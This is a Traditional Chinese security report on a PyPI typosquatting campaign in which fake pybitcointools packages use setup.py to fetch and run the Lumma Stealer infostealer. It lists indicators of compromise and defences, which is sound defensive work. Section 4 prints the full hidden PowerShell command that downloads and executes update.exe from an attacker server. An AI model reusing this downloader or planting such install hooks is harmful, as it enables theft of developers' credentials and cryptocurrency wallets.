摘要

本報告提供針對 Python Package Index (PyPI) 上發現的一場惡意軟體攻擊的技術分析。威脅行為者上傳了數個惡意套件,這些套件透過「typosquatting」(誤植域名)技術冒充熱門的 pybitcointools 函式庫。這些套件在 setup.py 檔案中內含惡意程式碼,目的為透過 pip 安裝時下載並執行一個資訊竊取的 Payload(被辨識為 Lumma Stealer)。這次攻擊利用 PowerShell 指令來獲取並執行 Payload,目標是竊取開發者的敏感資料,包括加密貨幣錢包和瀏覽器認證(Browser credentials)。此事件突顯了軟體供應鏈安全以及開源儲存庫被濫用的持續風險。

你的Python專案有風險嗎?深入了解PyPI比特幣函式庫資訊竊取攻擊 | 資訊安全新聞

1. 簡介

Python Package Index (PyPI) 是 Python 開發者的重要資源,但日益成為威脅行為者透過軟體供應鏈攻擊散布惡意軟體的目標。本報告詳細說明了一場由 ReversingLabs 分析的特定攻擊活動 1 ,其中惡意行為者利用 typosquatting 技術,誘騙開發者安裝用於比特幣操作有漏洞的函式庫版本。本分析的重點在於攻擊中使用的技術機制,從套件安裝的初始危害到 Payload的傳遞與執行。

2. 攻擊途徑:在 PyPI 上的 Typosquatting

這次攻擊的主要途徑是在 PyPI 上發布與合法且熱門的函式庫 pybitcointools 極為相似的惡意套件。Typosquatting 仰賴開發者在指定相依性或搜尋套件時出現拼寫錯誤。 1

  • 合法目標套件: pybitcointools
  • 已識別的惡意套件:
    • pybitcointoolz
    • pybitcointools-btc
    • pybitcointools-A
    • pybitcointools-bitcoin

攻擊者透過這些稍微變更的名稱,意圖攔截原本針對合法函式庫的安裝。

3. 惡意軟體執行機制

惡意程式碼被嵌入在這些假套件的 setup.py 檔案中。此檔案會在安裝過程中由套件管理工具如 pip 自動執行( pip install )。 1

  • 觸發條件: 安裝其中一個惡意套件。
  • 執行流程:
    1. setup.py Script 使用 Python 的 subprocess 模組,具體來說是 subprocess.Popen
    2. subprocess.Popen 用於啟動一個隱藏的 PowerShell 程序( -WindowStyle Hidden )。
    3. PowerShell 程序被呼叫時帶有特定參數,以繞過執行政策( -NoProfile -ExecutionPolicy Bypass )並執行進一步的指令。

4. Payload下載與執行(第一階段)

setup.py 中的核心惡意活動涉及執行 PowerShell 指令以下載主要 Payload: 1

  • PowerShell 指令:
    
    powershell -Command "Start-Process powershell -ArgumentList '-NoProfile 
               -ExecutionPolicy Bypass -Command \"Invoke-WebRequest 
               -Uri hxxp://62.113.114[.]157:8000/final -OutFile $env:TEMP\\update.exe; 
                Start-Process $env:TEMP\\update.exe'\" -WindowStyle Hidden"
  • 分解說明:
    • Invoke-WebRequest :此指令從指定的 URI 下載內容。
      • URI: hxxp://62.113.114[.]157:8000/final (註:為安全起見,URL 已做無害化處理) - 指向攻擊者控制的伺服器,託管 Payload。
      • 輸出檔案: -OutFile $env:TEMP\\update.exe - 下載的 Payload儲存至使用者的暫存目錄( %TEMP% ),檔案名稱為 update.exe
    • Start-Process $env:TEMP\\update.exe :下載成功後,此指令立即執行下載的 Payload( update.exe )。
    • -WindowStyle Hidden :確保整個 PowerShell 操作(包括下載與執行)在無可見視窗的情況下進行,使其更具隱密性。

5. Payload分析(第二階段): update.exe

下載的執行檔 update.exe 被辨別為資訊竊取軟體。 1

  • 惡意軟體家族: Lumma Stealer(也稱為 LummaC2 Stealer)。這是一個已知的 MaaS(Malware-as-a-Service)資訊竊取軟體。
  • 功能: Lumma Stealer 被設計用來從受感染的系統中竊取廣泛的敏感資訊,包括:
    • 加密貨幣錢包資料(私鑰、各種錢包應用程式/擴充功能中的 seed phrases )。
    • 瀏覽器資料(cookies、儲存的密碼、瀏覽歷史、表單資料)。
    • 系統資訊(作業系統版本、硬體細節、執行中的程序)。
    • 各種應用程式的認證(VPN、FTP 客戶端、通訊應用程式)。
  • 資料外洩: 被竊取的資料通常會被封裝並傳送至攻擊者控制的指令與控制(C2)伺服器

6. 危害指標(IoCs)

分析中識別出以下危害指標(IoCs) 1

  • 惡意套件名稱: pybitcointoolz , pybitcointools-btc , pybitcointools-A , pybitcointools-bitcoin
  • Payload下載 URL: hxxp://62.113.114[.]157:8000/final
  • Payload下載 IP: 62.113.114[.]157
  • Payload檔案名稱: update.exe
  • Payload位置: %TEMP%\update.exe (例如: C:\Users\<使用者名稱>\AppData\Local\Temp\update.exe
  • 惡意軟體: Lumma Stealer / 資訊竊取軟體

7. 技術影響評估

若此攻擊成功在開發者的電腦上執行,可能導致嚴重後果:

  • 加密貨幣資產竊取: 直接存取被竊取的私鑰或錢包檔案可能導致財務損失。
  • 敏感認證洩露: 被竊取的瀏覽器 cookies 和密碼可能導致個人及公司帳戶(電子郵件、程式碼儲存庫、雲端服務)被未經授權存取。
  • 進一步系統危害: 資訊竊取軟體可能成為部署額外惡意軟體的立足點。
  • 供應鏈風險放大: 若開發者的程式碼儲存庫(如 GitHub、GitLab)或套件登錄(如 PyPI)的認證被盜,攻擊者可能將惡意程式碼注入合法專案,大幅擴大攻擊影響。

8. 緩解與防禦策略

採用強健的技術控制措施有助於減輕此類攻擊的風險:

  • 相依性驗證: 在安裝前嚴格檢查套件名稱是否有拼寫錯誤。檢查 PyPI 上的套件元資料、下載統計數據及發布日期。
  • 使用鎖定檔案: 實施相依性鎖定(例如帶有雜湊值的 requirements.txt Pipfile.lock poetry.lock ),以確保使用已知且經過驗證的套件版本進行可重複的建置。
  • 程式碼/相依性掃描: 使用安全工具(例如 SonatypeBlackduck)掃描相依性中的已知漏洞及惡意程式碼模式,包括檢查 setup.py
  • 網路監控: 監控外部網路流量,特別是在套件安裝階段,檢查是否有連接到可疑 IP 或網域的行為。封鎖已知的惡意 IoCs。
  • 最小權限原則: 執行開發任務(包括套件安裝)時,使用最低必要的權限。盡可能避免以管理員身份執行 pip install
  • 沙箱/虛擬環境: 使用虛擬環境( venv conda )來隔離專案相依性。考慮在開發與測試時使用容器化(Docker)進一步隔離。
  • 執行政策強制: 雖然此攻擊繞過了限制,維持更嚴格的 PowerShell 執行政策仍可防止較不複雜的 Script 攻擊。

9. 結論

這場攻擊活動展示了將社交工程策略(typosquatting)與簡單卻有效的技術執行方法( setup.py 濫用、PowerShell 下載器)相結合,透過可信的開發者生態系統散布像 Lumma Stealer 這樣的惡意軟體的效果 1 。針對比特幣相關函式庫的攻擊突顯了此類攻擊背後常見的財務動機。持續的警覺、穩健的相依性管理實務以及主動的安全掃描,是對抗來自公共套件儲存庫的軟體供應鏈危害的關鍵技術防禦措施。


參考資料

  1. ReversingLabs 部落格。(April 3, 2025)。 Malicious Python packages target popular bitcoin library 。取自 https://www.reversinglabs.com/blog/malicious-python-packages-target-popular-bitcoin-library

免責聲明: 本報告僅基於參考的 ReversingLabs 文章 1 所提供之資訊。如需最完整且最新的詳細資料,請參閱原始來源。IoCs 在用於封鎖規則前應先進行驗證。